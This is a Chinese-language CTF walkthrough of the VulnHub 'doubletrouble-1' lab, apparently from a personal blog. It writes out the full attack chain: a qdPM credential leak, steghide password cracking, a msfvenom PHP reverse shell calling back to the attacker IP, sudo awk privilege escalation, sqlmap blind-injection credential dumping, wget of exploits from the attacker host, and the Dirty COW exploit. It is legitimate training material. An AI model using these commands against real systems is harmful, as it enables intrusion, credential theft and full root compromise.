『vulnhub系列』doubletrouble-1
『vulnhub系列』doubletrouble-1
下载地址
https://www.vulnhub.com/entry/doubletrouble-1,743/
信息搜集
使用命令，获得存活靶机IP为138，开启端口22和80
nmap 192.168.0.* #因为当前NAT模式，攻击机和靶机在一个内网环境中
访问80的web服务，是一个登录页面
又是qdPm，之前做过一个qdpm的题目，于是我们就知道了qdpm存在密码泄露漏洞。我们来看一下
searchsploit qdpm
我们发现密码泄露漏洞是50176.txt，查看，发现我们可以去http://<website>/core/config/databases.yml 这个目录下，获得数据库的用户名密码
searchsploit -m 50176.txt #将50176.txt存到当前目录
cat 50176.txt
访问后，得到用户名：密码— otis :rush
但我们发现，靶机的3306端口并没有开，继续信息搜集
使用dirsearch爆破目录，得到如下目录，发现secret目录
dirsearch -u "http://192.168.0.138/"
访问/secret目录里面都有一个doubletrouble.jpg
打开图片，发现图片里有我们刚刚获取的用户名和密码Otis：Rush
但目前这些信息并没有什么用，因此想到了以前做CTF时候的隐写术，丢到WinHex里并没有发现什么东西，我们搜索jpg相关的隐写术，发现有一种steghide隐写，可以在linux中使用。
Steghide 是一个可用于隐写术的工具。它允许您在音频和图像文件中嵌入秘密信息，包括 JPEG、BMP、WAV 和 AU 文件。 Steghide 允许：
- 嵌入数据的加密。
- 嵌入数据的压缩。
- 嵌入校验和以验证提取的数据的完整性。
我们安装一下，并试一下，发现需要密码
apt-get install steghide #安装
steghide info doubletrouble.jpg #查看图片信息
然后StegHide是隐写工具，现在我们是要破解它隐写后的密码，这里用到了另一个工具：Stegseek
Stegseek是迄今为止全世界最快的Steghide破解qi，该工具每秒能够处理数百万的密码。虽然Stegseek是一款轻量级工具，但丝毫不影响其功能性的强大。该工具作为原始Steghide项目的一个分支而构建，它的速度比其他破解qi快上千倍。在该工具的帮助下，广大研究人员可以轻松从使用了Steghide隐写&加密的文件中提取出隐藏的数据。
除此之外，Stegseek还可以用来提取Steghide的元数据，我们可以利用这些信息来判断一个文件中是否包含了Steghide数据。
值得一提的是，仅需两秒钟，该工具就可以跑完rockyou.txt字典。而众所周知，rockyou.txt是一个包含了超过1400万个密码的强大字典文件。
apt install stegseek
然后我们使用/usr/share/wordlist/rockyou.txt.gz 解压后的rockyou.txt来进行暴力破解
得到密码92camaro
stegseek doubletrouble.jpg rockyou.txt
再次查看图片信息，输入密码，发现有一个creds.txt
steghide info doubletrouble.jpg
分离文件，输入密码，得到creds.txt 查看一下，得到邮箱：密码otisrush@localhost.com:otis666
steghide extract -sf doubletrouble.jpg
cat creds.txt
登录成功
漏洞利用
我们发现可以上传文件
我们使用msf生成一个php反弹木马，上传
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.130 lport=4444 -o re_shell.php
上传成功
我们使用msf进行监听,设置options与生成的木马一一对应
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.130
set lport 4444
然后我们刚刚扫描的时候，发现有一个uploads目录，我们访问一下其下的目录attachments
发现我们刚上传的文件已经上传成功了
我们在攻击机输入run开启监听
访问php文件，反弹成功
现在的权限是网站权限
权限提升：
使用py获取交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
使用命令查看带有SUID权限的文件，发现并没有什么东西
find / -perm -u=s -type f 2>/dev/null
使用命令查看可以使用root权限执行的命令，发现awk命令可以以root权限执行
sudo -l
因此我们可以借助awk进行sudo提权
sudo awk 'BEGIN{system("/bin/bash")}'
关于sudo提权可以看我之前的文章sudo滥用提权 | Don_Joshua's Blog (jo4hua.github.io)
提权成功
进入到root目录……发现……还有一个靶机，将其移动到/var/www/html目录下
输入网址+镜像名，下载，开机
http://192.168.0.138/doubletrouble.ova
第二层靶机
信息搜集：
依旧使用nmap找到存活主机
访问80端口web服务，是一个登录页面
使用之前的otis用户名和密码，登陆失败，没有回显，可能是sql注入？使用sqlmap尝试一下吧
漏洞利用：
首先查看源代码，用的是post方式传uname,psw
使用sqlmap，存在时间盲注
sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123"
使用命令，得到数据库doubletrouble 另一个是默认表
sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" --dbs --batch
继续爆破表
sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" -D doubletrouble --tables --batch
爆破字段
sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" -D doubletrouble -T users --columns --batch
爆破内容，得到用户名密码montreux | GfsZxc1 clapton | ZubZub99
sqlmap -u http://192.168.0.139/index.php --data="uname=admin&psw=123" -D doubletrouble -T users -C username,password --dump --batch
然后我们登录，发现登录不上，那现在只剩一个地方了
没错就是ssh了，使用第二个用户和密码登陆成功，获得普通用户权限
ssh clapton@192.168.0.139
权限提升：
老套路，先查看具有SUID权限的文件,发现一个exim4有些可疑
find / -perm -u=s -type f 2>/dev/null
搜一下，发现可以进行SUID提权，使用命令查看一下版本
/usr/sbin/exim4 --version
寻找对应版本漏洞，下载
searchsploit Exim 4.80
searchsploit -m 35951.py
开启apache服务，将exp移动到/var/www/html目录下
service apache2 start
mv 35951.py /var/www/html
使用靶机下载exp
wget http://192.168.0.130/35951.py
发现这几个exp都不好用
接下来查看系统内核信息
uname -a
直接上脏牛提权吧，发现我们的内核版本在可利用范围内
searchspolit dirty
重复上述过程，我们将40847.cpp上传到靶机上，赋予执行权限
wget http://192.168.0.130/40847.cpp #靶机下载exp
chmod +x 40847.cpp #赋予运行权限
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 1 40847.cpp -lutil #编译一下，输出为1
运行1，得到root密码
./1 运行
使用su切换为root用户，输入密码，获取root权限
成果：
获取普通权限的时候，发现user.txt
6CEA7A737C7C651F6DA7669109B5FB52
在root目录下cat root.txt可得
1B8EEA89EA92CECB931E3CC25AA8DE21
